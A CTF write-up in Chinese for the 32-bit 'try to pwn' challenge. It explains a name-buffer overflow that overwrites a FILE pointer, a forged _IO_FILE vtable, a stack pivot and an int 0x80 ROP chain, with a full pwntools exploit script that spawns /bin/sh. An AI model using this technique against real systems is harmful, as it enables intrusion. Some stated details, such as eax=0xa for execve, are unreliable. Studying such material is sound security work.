ichunqiu--try to pwn.md
ichunqiu–try to pwn
好吧,這個題目其實還沒有做到我想要的地步,我還想再深度挖掘一下,但是週末了,該寫writeup了,就先把這部分總結寫了,之後如果還想有其他的嘗試,就繼續做吧。
題目又不是我自己做出來的,當時沒有發現程式的溢位點,於是就到網上看了別人的Write-up。和之前的感覺一樣,溢位點其實很簡單,關鍵在於ROP的構造,這裡和之前的一道題目比較像,都用到了”棧遷移+ROP構造的“知識點。
題目資訊
i春秋官網上的實戰訓練營裡邊50points的pwn題目。可見自己離400points的題目還有多大的差距…
file fake #檢視看檔案的基本資訊
可以發現fake是32bit-ELF檔案,然後用ida32開啟。
main函式中有三個內部函式:init_proc;welcome;menu
init_proc
對輸入流和輸出流的初始化操作。
??話說這裡的ssignal()函式的作用是什麼,因為最近做了一道題目就是利用signal函式中斷進行操作的,所以就很好奇??
welcome
使用者輸入name到&x中,沒有限定輸入字串的長度。
menu
提供read file、print file功能。發現這裡邊存在輸入的地方都有長度檢查。
解題思路
發現漏洞點
我自己沒有找到…漏洞點存在於welcome函式中,沒有對輸入的x進行長度限制。
int welcome() { puts("Whats your name?"); _isoc99_scanf("%s", &x); return printf("Welcome %s, can you help me get the secret file?\n", &x); }
漏洞利用設計思路
點選x,可以看到x是全域性變數,儲存在bss段上,並且bss段中x的下邊緊挨著就是程式碼中不斷出現的dword_80EFA00(這個也就是fopen()函式的返回值)
程式的正常流程中,當我們輸入一個檔案路徑之後,程式會從/dev/random中讀取一個隨機數附加在我們輸入的路徑之後,使得我們無法通過常規操作開啟檔案。
但是由於x的輸入可以覆蓋dword_80EFA00的內容,也就是說可以修改fopen()對應的檔案元資料,這裡就可以使用偽造的File。
puts("Bye~");
if ( dword_80EFA00 )fclose(dword_80EFA00);
exit(0);
通過這裡可以看到,如果dword_80EFA00不空,那麼就會執行fclose(dword_80EFA00),這條語句fclose()實際上是執行了dword_80EFA00所代表的File結構體中的一個函式指標,當我們構造fake file資訊的時候,就可以自定義flose()位置地址的內容,實現程式控制流劫持的目的。
偽造完整_IO_FILE_plus,然後讓fp指標指向我們的fake FILE,並且將其中的vtable指向一個由我們控制的記憶體區域,在區域中填寫我們攻擊需要用到的函式地址,就能夠實現攻擊。
input:‘abcd’*12;
程式會檢測到file fp不是null;於是就可以執行fclose()函式
拿到控制權限之後,一般就是要找到下一個程式要執行的位置,這裡我們首先檢查程式中是否存在可利用的execve()和system()函式以及“/bin/sh”引數,發現沒有可用的資訊,那麼就需要我們自己構造ROP。
一般ROP的構造主要分為三種方式:int x80;system();execve();我個人認為int x80和execve()應該都可以,但是目前還沒有具體實踐…學習別人的Writeup中使用的是int x80。
接著使用checksec發現程式開啟了NX,所以不能在棧上構造ROP;於是要考慮棧遷移,將程式棧遷移到可執行的bss段。
於是總的設計思路就是:
1.利用溢位漏洞點劫持控制流;構造fake file struct
2.實現棧遷移
3.在遷移後的bss棧上寫入ROP
漏洞利用實現
如何構造fake file struct
我們使用fopen開啟一個檔案會在堆上分配一塊記憶體區域用來儲存FILE結構體,儲存的結構體包含兩個部分,前一部分為_IO_FILE結構體file,後一部分是一個指向struct IO_jump_t的指標vtable, 這個結構體種儲存著一系列與檔案IO相關的函式指標。 在我們呼叫fclose關閉一個檔案時,我們最終會呼叫到vtable中儲存的函式指標。如果我們能夠將vtable中的指標替換為我們自己想要跳轉到的地址就可以劫持程式流程。
這裡有幾個關鍵點:
- vtable相對FILE首地址的偏移量(即_IO_FILE的size)
- 結構體中值的設定
這部分還沒有弄清楚!!!!!?????
覺得很神奇的是,_IO_FILE的size好像是通過觀察記憶體的執行情況找到的??
好像不是通過_IO_FILE的size然後再加兩個偏移定位到_finish()的位置;而是在gdb單步除錯的時候,執行到finish()函式的時候,可以看到下一條指令的地址,由此來判斷在哪個位置劫持控制流
如何實現棧遷移
借鑑別人的wirteup中使用到的是:
xchg eax, esp ; ret 1
如何構造ROP
int 0x80;sys_execve(),其中eax=0xa;ebx="/bin/sh"。也就是,執行execve(/bin/sh)
這裡提前將引數"/bin/sh"寫入到bss段中,記住地址.
這裡原作者使用了下屬的這些指令:
xor eax, eax; ret;
pop ecx ; pop ebx ; ret;
pop esi ; pop ebx ; pop edx ; ret
pop eax; jnp 0x5b0e5e5e; pop esi; ret;
neg eax; ret
int 0x80
上述指令的功能很簡單,就是對eax,ebx,ecx,edx,esi暫存器進行賦值。然後呼叫int 0x80.
ROP執行流程
一共呼叫了幾段獨立的彙編指令,然後結合在一起形成了完整的ROP,他們的執行順序標在圖中了,更容易理解ROP輸入之後的執行情況。
exp
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys
def my_read(path):
io.recvuntil('> ')
io.sendline(str(1))
io.recvline()
io.sendline(path)
def my_print(content):
io.recvuntil('> ')
io.sendline(str(2))
io.send(content)
def my_exit():
io.recvuntil('> ')
io.sendline(str(3))
def exploit1(): #Rop
gdb.attach(io,' b *_IO_new_file_close_it')
#gdb.attach(io)
#gdb.attach(io)
io.recvuntil('Whats your name?\n')
name = 'A'*0x20
name += p32(0x80efa08) #fake file stream
name += 'B'*0x4
#fake file stream
fake_file = '/bin/sh\x00'
fake_file += p32(0)
fake_file += p32(1)
fake_file = fake_file.ljust(0x48,'\x00')
fake_file += p32(0x80efa10)
fake_file += 2*p32(0xffffffff)
fake_file += p32(0x0807bfc2)
'''
0x0807bfc2 : add esp, 0x60 ; pop ebx ; pop esi ; pop edi ; ret 2
'''
fake_file = fake_file.ljust(0x94,'\x00')
#fake _IO_jump_t
io_jump_t = p32(0x80efa5c)
#stack pivot
io_jump_t += p32(0x08048f66)# xchg eax, esp ; ret 1 pivot?? exchange
payload = name+fake_file+io_jump_t
payload = payload.ljust(0xec,'\x00')
#rop chain
rop = ''
rop += p32(0x8049613) # 0x08049613: xor eax, eax; ret; 3
rop += p32(0x08072f31) #0x08072f31 : pop ecx ; pop ebx ; ret 4
rop += p32(0x80efa1c)
rop += p32(0xdeadbeef)
rop += p32(0x08072f08) #0x08072f08 : pop esi ; pop ebx ; pop edx ; ret 5
rop += p32(0xdeadbeef)
rop += p32(0x80efa08)
rop += p32(0x80efa1c)
rop += p32(0x806ba13) # 0x0806ba13: pop eax; jnp 0x5b0e5e5e; pop esi; ret; 6
rop += p32(0xfffffff5)
rop += p32(0xdeadbeef)
rop += p32(0x08062527) # 0x08062527: neg eax; ret; 7
rop += p32(0x0804dc35) # 0x0804dc35: int 0x80 8
payload += rop
#gdb.attach(io)
io.sendline(payload)
#pause()
my_exit()
io.recvuntil('Bye~\n')
io.interactive()
if __name__ == "__main__":
context.binary = "./fake"
#context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
elf = ELF('./fake')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
exploit1()
else:
io = process('./fake')
exploit1()
關鍵知識點
File struct
_IO_FILE_plus
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
這個_OP_jump_t*
指標指向了一個函式指標組成的記憶體區域。不同的檔案物件通過填充不同的函式指標,從而實現統一API呼叫下的不同處理。
_IO_FILE
struct _IO_FILE{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
struct _IO_marker * _markers
struct _IO_FILE * _chain // next _IO_FILE
int _fileno // file descriptor
int _flags2
_IO_off_t _old_offset
unsigned short _cur_column
signed char _vtable_offset
char _shortbuf [1]
_IO_lock_t * _lock
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
結構體中的_IO_read*
和_IO_write*
部分會在呼叫scanf/fread
和printf/fwrite
這類會利用緩衝區的函式的時候被呼叫就會利用到這個緩衝區進行讀寫(此處可pwn)
_chain
屬性則是連線了下一個strcut _IO_FILE*
。
所有開啟的檔案FILE
結構都會以連結串列的形式儲存在記憶體中,連結串列的頭部為_IO_list_all
,是libc的全域性變數。
當開啟一個檔案的時候,此時的會從從堆上分配一個區域,用來存放一個包含_IO_FILE結構體的另一個結構體_IO_FILE_plus
vtable
這邊我們看到這個 vtable 的結構體為:
#define JUMP_INIT(NAME, VALUE) VALUE
const struct _IO_jump_t _IO_file_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
這些函式相當於是在呼叫read/write/fflush...
等函式的時候會利用的指標。
fclose()底層原始碼
/* libio/iofclose.c */
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
/*這裡本來有個對版本進行檢測的程式碼,根據FILE結構中_vtable_offset變數是否為0來判斷,不為0則執行_IO_old_fclose*/
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
int x80
int 0x80;sys_execve(),其中eax=0xa;ebx="/bin/sh"。也就是,執行execve(/bin/sh)
技能GET
pwnlib gdb
attach(target, execute = None, exe = None, arch = None, ssh = None) -> None
- target - 要被attach到的target。
- execute (str or file) - attach 之後,GDB 要執行的指令碼。
- exe (str) - 目標二進位制程式的路徑
- arch (str) - 目標二進位制程式的架構,如果 exe 已知的話,GDB 將會進行自動檢測(如果支援的話)。
gdb command
x /30wx 0x080efa00 #檢視從0x080efa00開始的30bytes內容
size_t
size_t type is a base unsigned integer type of C/C++ language. It is the type of the result returned by sizeof operator. The type’s size is chosen so that it can store the maximum size of a theoretically possible array of any type. On a 32-bit system size_t will take 32 bits, on a 64-bit one 64 bits.
xchg
SDM指令功能描述(XCHG) XCHG指令,雙運算元指令,用於交換src和dest運算元的內容。其中,src和dest可以是兩個通用暫存器,也可以是一個暫存器和一個memory位置。
jnp
jump if condition is met
JNP rel8 Jump short if not parity (PF=0)
neg
NEG是彙編指令中的求補指令,NEG指令對運算元執行求補運算:用零減去運算元,然後結果返回運算元。求補運算也可以表達成:將運算元按位取反後加1。
tmux&gnome-terminal
tmux是什麼?tmux是linux中一種管理視窗的程式。
gnome-terminal
ljust()
The method ljust() returns the string left justified in a string of length width. Padding is done using the specified fillchar (default is a space). The original string is returned if width is less than len(s).
fread
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
fopen返回值
Upon successful completion fopen(), fdopen() and freopen() return a FILE pointer. Otherwise, NULL is returned and errno is set to indicate the error.
問題
1.gdb.attach()出現的時候是會使程式停下來,但是程式停在哪裡感覺有兩個因素:
- 斷點
- gdb.attach()的位置
前一個可以在 attach()的命令列引數進行設定;後一個暫時還不知道如何影響。這個題目中不管gdb.attach()放在哪裡都是停在這個位置。
2.readgsword的作用
是NX還是canary??
3.payload中的ROP部分弄清了,但是file的構造還沒有弄清楚???